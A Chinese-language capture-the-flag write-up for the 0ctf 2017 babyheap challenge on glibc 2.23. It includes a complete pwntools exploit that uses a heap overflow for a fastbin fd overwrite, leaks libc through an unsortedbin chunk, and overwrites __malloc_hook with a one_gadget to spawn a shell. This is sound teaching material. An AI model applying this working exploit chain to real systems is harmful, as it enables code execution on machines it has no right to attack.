前言

一篇题解,glibc2.23 主要是fastbins攻击的

https://www.yuque.com/hxfqg9/bin/dww8nz#EPTbD

主要参考这个师傅的

分析

题目开全了保护,因此就无法通过改got表的方式getshell

这个题相当于自己写了一个堆管理器,在填充(fill)的时候,还要求输入你要填充后过多少个字节,但是可以输入比申请的大的数,因此可以任意的进行堆溢出

先贴出自己的exp,实际上只能本地打,不知道为什么远程报超时?我看alarm函数给了60秒

from pwn import *
#context(log_level='debug', arch='amd64', os='linux')
#context.terminal = ["tmux", "splitw", "-h"]
p=process('./babyheap_0ctf_2017')
#p=remote('node5.buuoj.cn',28312)
#libc=ELF('./libc-2.23.so')
#elf=ELF('./babyheap_0ctf_2017')
uu64 = lambda x: u64(x.ljust(8, b'\x00'))
s = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sl = lambda x: p.sendline(x)
sla = lambda x, y: p.sendlineafter(x, y)
ru = lambda x: p.recvuntil(x)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
def cmd(number):
ru('Command: ')
sl(str(number))
def malloc(size):
cmd(1)
ru('Size: ')
sl(str(size))
def fill(index,size,content):
cmd(2)
sla("Index: ",str(index))
sla("Size: ",str(size))
sla("Content: ",content)
def free(index):
cmd(3)
sla("Index: ",str(index))
def dump(index):
cmd(4)
sla("Index: ",str(index))
def Exit():
cmd(5)

malloc(0x10) #0
malloc(0x10) #1
malloc(0x10) #2
malloc(0x10) #3
malloc(0x80) #4
malloc(0x10) #5

free(2)
free(1)

payload_change_1=b'a'*0x18+p64(0x21)+b'\x80'
fill(0,len(payload_change_1),payload_change_1)
payload_change_4_size=b'a'*0x18+p64(0x21)
fill(3,len(payload_change_4_size),payload_change_4_size)

malloc(0x10)
malloc(0x10)


payload_change_4_size=b'a'*0x18+p64(0x91)
fill(3,len(payload_change_4_size),payload_change_4_size)
free(4)
#gdb.attach(p,'b* $rebase(0x113D)')
dump(2)
ru('Content: \n')
a=uu64(p.recv(6))
libc_base=a-0x74361ddc4b78+0x74361da00000
leak("libc_base",libc_base)
one_gadget_addr1=0x4527a+libc_base
one_gadget_addr2=0xf03a4+libc_base
one_gadget_addr3=0xf1247+libc_base
malloc(0x60)
free(4)
addr=libc_base+0x3c4aed
fill(2,len(p64(addr)),p64(addr))
#gdb.attach(p,'b* $rebase(0x113D)')
malloc(0x60)
malloc(0x60)
payload=b'a'*0x10+b'a'*3+p64(one_gadget_addr1)
fill(6,len(payload),payload)
#gdb.attach(p,'b* $rebase(0x113D)')
malloc(255)
ti()

malloc函数里用的不是malloc,而是calloc

calloc主要区别在于会将申请到的内存空间清零,这也就是说没办法free之后malloc然后show

堆溢出 ===> 可以修改空闲fastbin块的fd指针

修改了空闲fastbin块fd指针之后,被指向的区域的size只要是合法的就可以,这个也可以通过堆溢出或者错位来实现

整体思路是这样的:

  1. 泄漏出libc基地址
  2. 修改malloc_hook 为one_gadget地址,实现getshell

如何泄漏出libc基地址?

假如我们可以free掉一个smallbin的堆块,此时这个堆块的fd和bk指针都指向了unsortedbin的地址,这个玩意是在main_arena结构体里面,通过这个也就可以泄漏出libc基地址

这个题来说,我们能不能实现?显然是可以的,我们可以想办法让两个堆指针指向同一个堆块,这样既能释放它也能读取或者写入它

具体实现是这样的:我们先申请几块堆

malloc(0x10) #0 用来堆溢出改写空闲的idx1内容的
malloc(0x10) #1 被改写fd指针,从而实现申请的时候申请到idx4上去
malloc(0x10) #2
malloc(0x10) #3 用来堆溢出改写idx4的size
malloc(0x80) #4 我们未来要把这个释放到unsortedbin里面
malloc(0x10) #5 防止释放idx4的时候被合并

然后先释放掉2,再释放掉1

这样就是 fastbin =>idx1 => idx2 => NULL

我们接下来通过idx0的堆溢出改写idx1的fd指针到idx4

然后利用idx3的堆溢出改写idx4的size,(注意要0x21),保证落到和他们一样大小的fastbin里面

free(2)
free(1)
payload_change_1=b'a'*0x18+p64(0x21)+b'\x80'
fill(0,len(payload_change_1),payload_change_1)
payload_change_4_size=b'a'*0x18+p64(0x21)
fill(3,len(payload_change_4_size),payload_change_4_size)

再接下来就是这样了

fastbin =>idx1 => idx4

我们申请两次,那原本idx2的堆指针指向的就是idx4了

malloc(0x10)
malloc(0x10)

我们之后fill 2就是fill 4

之后我们需要需要让idx4释放到unsortedbin里面,这样dump 2 就会把idx4的 fd指针也就是unsortedbin地址泄漏出来,这样就能得到libc基地址

但是我们之前把idx4的size改了,因此需要改回来再释放

payload_change_4_size=b'a'*0x18+p64(0x91)
fill(3,len(payload_change_4_size),payload_change_4_size)
free(4)
#gdb.attach(p,'b* $rebase(0x113D)')
dump(2)

然后就是接收地址

ru('Content: \n')
a=uu64(p.recv(6))
libc_base=a-0x74361ddc4b78+0x74361da00000
leak("libc_base",libc_base)
one_gadget_addr1=0x4527a+libc_base
one_gadget_addr2=0xf03a4+libc_base
one_gadget_addr3=0xf1247+libc_base
root@tgr-virtual-machine:/home/tgr/桌面/babyheap# one_gadget ./libc-2.23.so 
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

上面是one_gadget的使用

我们现在已经完成了第一步,接下来就是第二步,修改__malloc_hook的值为onegadget的地址

首先我们得先把idx4变成fastbin,因为它只需要fd指针以及fd指向的堆块的size位合法即可

malloc(0x60)
free(4)
addr=libc_base+0x3c4aed
fill(2,len(p64(addr)),p64(addr))
#gdb.attach(p,'b* $rebase(0x113D)')
malloc(0x60)
malloc(0x60)
payload=b'a'*0x10+b'a'*3+p64(one_gadget_addr1)
fill(6,len(payload),payload)
#gdb.attach(p,'b* $rebase(0x113D)')
malloc(255)

我们之前释放了4,现在再malloc 0x60,它会切割原来的idx4,返回的地址还是之前的地址

然后释放它,接下来我们可以fill 2 来修改idx4的fd指针

这个地址就是通过错位来让size是合法的

之后我们申请两个堆块,这样会填充原来的idx4和新的idx6,idx6里面就有__malloc_hook

然后修改__malloc_hook为onegadget值即可,最后再malloc一次就能getshell了

学到的知识

泄漏libc的另一种方式:将非fastbin的堆块释放掉,这样就会扔进unsortedbin里面,如果能通过某种方式展示这个空闲块的fd指针,就能得到libc地址了

get_shell的另一种方式:修改malloc_hook或者free_hook的地址,即使在保护全开的程序里面也可以使用,但是前提是得泄漏libc地址

https://seanachao.github.io/2020/07/13/hook%E5%8A%AB%E6%8C%81/

如果能通过堆溢出、double free或者其他方式,来让两个堆指针指向同一个堆块,那么进行之后的操作将会方便非常多